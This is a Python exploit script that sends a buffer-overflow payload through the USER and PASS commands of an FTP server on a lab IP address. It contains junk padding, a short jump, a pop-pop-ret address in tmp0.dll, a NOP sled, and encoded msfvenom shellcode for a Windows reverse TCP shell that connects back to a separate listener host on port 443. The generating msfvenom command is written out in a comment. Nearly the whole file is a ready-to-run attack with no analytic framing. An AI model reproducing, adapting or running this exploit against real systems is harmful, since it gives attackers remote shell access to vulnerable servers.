#!/usr/bin/env python
# $Id: exploit.py,v 1.0 2018/04/25 20:47:02 dhn Exp $

import socket

class Exploit:
    def __init__(self, server, port, payload):
        self._payload = payload
        self._server = server
        self._port = port

    def __connect(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((self._server, self._port))
        return s

    def run(self):
        try:
            s = self.__connect()
            print("[+] Sending payload to " + str(self._server))
            s.send(("USER " + self._payload + "\r\n"))
            s.recv(1024)
            s.send(("PASS " + self._payload + "\r\n"))
            s.recv(1024)
            s.close()
        except socket.error:
            print("[!] socket error")


if __name__ == "__main__":
    # msfvenom -p windows/shell_reverse_tcp LHOST=10.168.142.129 \
    #        LPORT=443 -f py -v shell -o shell -e x86/alpha_mixed \
    #        -b '\x00\x0a\x0d' EXITFUNC=thread
    shell =  ""
    shell += "\x89\xe6\xda\xce\xd9\x76\xf4\x5b\x53\x59\x49\x49\x49"
    shell += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
    shell += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
    shell += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
    shell += "\x58\x50\x38\x41\x42\x75\x4a\x49\x6b\x4c\x48\x68\x6f"
    shell += "\x72\x55\x50\x33\x30\x55\x50\x61\x70\x6b\x39\x78\x65"
    shell += "\x34\x71\x39\x50\x62\x44\x6e\x6b\x42\x70\x30\x30\x6c"
    shell += "\x4b\x61\x42\x46\x6c\x4e\x6b\x76\x32\x64\x54\x4e\x6b"
    shell += "\x44\x32\x64\x68\x64\x4f\x6e\x57\x42\x6a\x56\x46\x65"
    shell += "\x61\x49\x6f\x4e\x4c\x37\x4c\x55\x31\x61\x6c\x55\x52"
    shell += "\x56\x4c\x31\x30\x6f\x31\x78\x4f\x34\x4d\x67\x71\x6a"
    shell += "\x67\x78\x62\x38\x72\x32\x72\x31\x47\x6e\x6b\x61\x42"
    shell += "\x76\x70\x4c\x4b\x62\x6a\x77\x4c\x4e\x6b\x62\x6c\x74"
    shell += "\x51\x63\x48\x4d\x33\x77\x38\x36\x61\x4e\x31\x66\x31"
    shell += "\x6c\x4b\x43\x69\x31\x30\x47\x71\x69\x43\x4c\x4b\x33"
    shell += "\x79\x66\x78\x4a\x43\x56\x5a\x52\x69\x4e\x6b\x30\x34"
    shell += "\x4c\x4b\x73\x31\x4b\x66\x34\x71\x4b\x4f\x4c\x6c\x7a"
    shell += "\x61\x5a\x6f\x76\x6d\x66\x61\x68\x47\x54\x78\x4d\x30"
    shell += "\x52\x55\x5a\x56\x53\x33\x43\x4d\x49\x68\x55\x6b\x31"
    shell += "\x6d\x54\x64\x72\x55\x38\x64\x51\x48\x4e\x6b\x53\x68"
    shell += "\x76\x44\x76\x61\x78\x53\x53\x56\x6c\x4b\x46\x6c\x72"
    shell += "\x6b\x6e\x6b\x42\x78\x65\x4c\x47\x71\x58\x53\x6e\x6b"
    shell += "\x55\x54\x4c\x4b\x36\x61\x78\x50\x4d\x59\x73\x74\x46"
    shell += "\x44\x76\x44\x31\x4b\x43\x6b\x75\x31\x70\x59\x53\x6a"
    shell += "\x70\x51\x4b\x4f\x49\x70\x71\x4f\x73\x6f\x50\x5a\x6e"
    shell += "\x6b\x57\x62\x6a\x4b\x6c\x4d\x43\x6d\x75\x38\x75\x63"
    shell += "\x34\x72\x45\x50\x75\x50\x71\x78\x72\x57\x43\x43\x75"
    shell += "\x62\x43\x6f\x56\x34\x52\x48\x52\x6c\x30\x77\x34\x66"
    shell += "\x36\x67\x79\x6f\x6e\x35\x58\x38\x6a\x30\x66\x61\x77"
    shell += "\x70\x57\x70\x44\x69\x5a\x64\x72\x74\x52\x70\x72\x48"
    shell += "\x45\x79\x6b\x30\x72\x4b\x57\x70\x4b\x4f\x39\x45\x76"
    shell += "\x30\x66\x30\x46\x30\x56\x30\x63\x70\x76\x30\x37\x30"
    shell += "\x32\x70\x42\x48\x68\x6a\x34\x4f\x49\x4f\x79\x70\x49"
    shell += "\x6f\x68\x55\x6c\x57\x73\x5a\x45\x55\x42\x48\x75\x5a"
    shell += "\x69\x38\x4e\x6e\x6d\x51\x45\x38\x44\x42\x65\x50\x67"
    shell += "\x71\x4f\x4b\x4e\x69\x79\x76\x52\x4a\x62\x30\x50\x56"
    shell += "\x50\x57\x35\x38\x4d\x49\x39\x35\x52\x54\x75\x31\x79"
    shell += "\x6f\x68\x55\x4e\x65\x69\x50\x54\x34\x66\x6c\x6b\x4f"
    shell += "\x50\x4e\x46\x68\x52\x55\x78\x6c\x75\x38\x68\x70\x6c"
    shell += "\x75\x6d\x72\x31\x46\x4b\x4f\x4b\x65\x31\x78\x45\x33"
    shell += "\x42\x4d\x61\x74\x67\x70\x6d\x59\x79\x73\x71\x47\x52"
    shell += "\x77\x32\x77\x55\x61\x4a\x56\x53\x5a\x55\x42\x50\x59"
    shell += "\x76\x36\x78\x62\x79\x6d\x33\x56\x4a\x67\x57\x34\x61"
    shell += "\x34\x37\x4c\x65\x51\x57\x71\x4e\x6d\x30\x44\x57\x54"
    shell += "\x34\x50\x58\x46\x35\x50\x33\x74\x52\x74\x46\x30\x52"
    shell += "\x76\x76\x36\x51\x46\x62\x66\x42\x76\x62\x6e\x71\x46"
    shell += "\x62\x76\x50\x53\x63\x66\x75\x38\x50\x79\x58\x4c\x55"
    shell += "\x6f\x6d\x56\x79\x6f\x39\x45\x6c\x49\x79\x70\x42\x6e"
    shell += "\x56\x36\x57\x36\x49\x6f\x70\x30\x35\x38\x75\x58\x4d"
    shell += "\x57\x47\x6d\x31\x70\x59\x6f\x49\x45\x6d\x6b\x6b\x50"
    shell += "\x47\x6d\x37\x5a\x66\x6a\x43\x58\x39\x36\x5a\x35\x4f"
    shell += "\x4d\x6f\x6d\x79\x6f\x49\x45\x55\x6c\x64\x46\x43\x4c"
    shell += "\x66\x6a\x6f\x70\x4b\x4b\x79\x70\x43\x45\x45\x55\x4f"
    shell += "\x4b\x37\x37\x32\x33\x74\x32\x62\x4f\x53\x5a\x73\x30"
    shell += "\x62\x73\x59\x6f\x49\x45\x41\x41"

    junk = "\xcc" * (600 - 4)
    pop2ret = "\xf2\xbf\x01\x10" # in tmp0.dll
    jmp = "\x34\x5a\x75\x04"     # short jmp + 0x04

    payload = junk
    payload += jmp
    payload += pop2ret
    payload += "\x90" * 10 + shell

    exploit = Exploit("10.168.142.128", 21, payload)
    exploit.run()
